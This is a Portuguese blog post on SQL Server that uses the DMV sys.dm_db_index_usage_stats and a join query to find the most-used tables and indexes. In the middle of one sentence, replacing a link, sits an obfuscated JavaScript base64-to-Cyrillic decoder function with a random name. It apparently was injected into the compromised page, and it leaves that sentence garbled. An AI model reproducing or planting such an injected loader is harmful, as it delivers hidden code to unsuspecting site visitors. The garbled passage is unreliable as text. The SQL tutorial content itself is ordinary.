«

»

jun 15

Identificando tabelas mais usadas da instância

Considero este um dos posts mais importantes que já escrevi. Frequentemente precisamos saber qual a tabela mais utilizada ou qual o índice mais utilizado para tomarmos as providências de melhoria na performance como criar um arquivo de dados exclusivo para a tabela, verificar se o índice está apropriado, etc.

Esta semana vimos no artigo function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaando-usuarios-e-suas-sessoes-sql/” target=”_blank”>Encontrando usuários e suas sessões no SQL as DMVs (Dynamic Management Views). Hoje vamos utilizar mais uma DMV para sabermos quais índices são mais utilizados chamada sys.dm_db_index_usage_stats. Esta DMV nos dá uma série de informações importantes, separamos as mais importantes através da query abaixo:

 

select so.name as table_name,b.name as index_name,*
from sys.dm_db_index_usage_stats ps
inner join sysobjects so
on so.id = ps.object_id
INNER JOIN sys.indexes b
ON ps.Object_id = b.OBJECT_ID
order by user_seeks desc

 

O resultado desta query é:

 

 

De acordo com as utilizações dos índices, é possível afirmarmos que a tabela ProductInventory é a mais utilizada, seguida pela Product. Eu fiz um robô que fez select nestas tabelas e está confirmado que realmente funciona.

 

Agora você pode afirmar com respaldo que é melhor colocar estas tabelas em arquivos de dados separados ou em LUNs separadas para obter alguma performance caso esteja tendo problemas de I/O, por exemplo..

1 comentário

  1. Angelo Maximo

    Muito bom Mercante, esse tipo de informação ajuda muito no momento de identificar o status das tabelas e tomar ações corretivas.
    Parabéns.

Deixe uma resposta